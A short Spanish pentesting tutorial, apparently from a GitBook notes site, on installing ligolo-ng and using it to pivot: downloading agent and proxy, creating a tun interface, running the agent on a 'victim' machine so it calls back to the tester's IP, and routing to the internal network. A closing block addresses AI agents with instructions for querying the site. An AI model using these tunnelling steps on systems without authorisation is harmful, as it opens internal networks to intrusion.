# Instalación ligolo-ng

Ligolo es una herramienta que permite establecer un túnel desde una conexión TCP inversa utilizando una interfaz (tun) sin necesidad de utilizar SOCKS.

## Instalación manual

```
cd  /opt
mkdir ligolo
cd ligolo
```

Descargamos el agente

```
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz 
```

Y ahora el archivo proxy que necesitaremos para el túnel

```
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz 
```

Ahora lo descomprimimos con tar

<pre><code>tar -xvf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
<strong>tar -xvf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
</strong></code></pre>

Ahora vamos a crear una interfaz que necesitaremos antes de ejecutar el ligolo

```
sudo ip tuntap add user [nuestro usuario] mode tun ligolo
sudo ip link set ligolo up # levantamos la interfaz creada
```

## Comandos básicos

```
./proxy -selfcert # abrimos el ligolo
```

Subimos seguidamente el agente de ligolo a la máquina victima y ejecutamos el siguiente comando

```
./agent -connect <nuestra IP>:11601 -ignore-cert
```

Entrando en la terminal podemos ver las sesiones activas con el comando `session`

Una vez dentro de la session hacemos ifconfig y la nueva network la añadimos en nuestra máquina con ip route

```
sudo ip route add 10.17.0.0/24 dev ligolo
```

Una vez hecho le damos a `start` y el túnel se habrá completado.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/articulos/instalacion-ligolo-ng.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
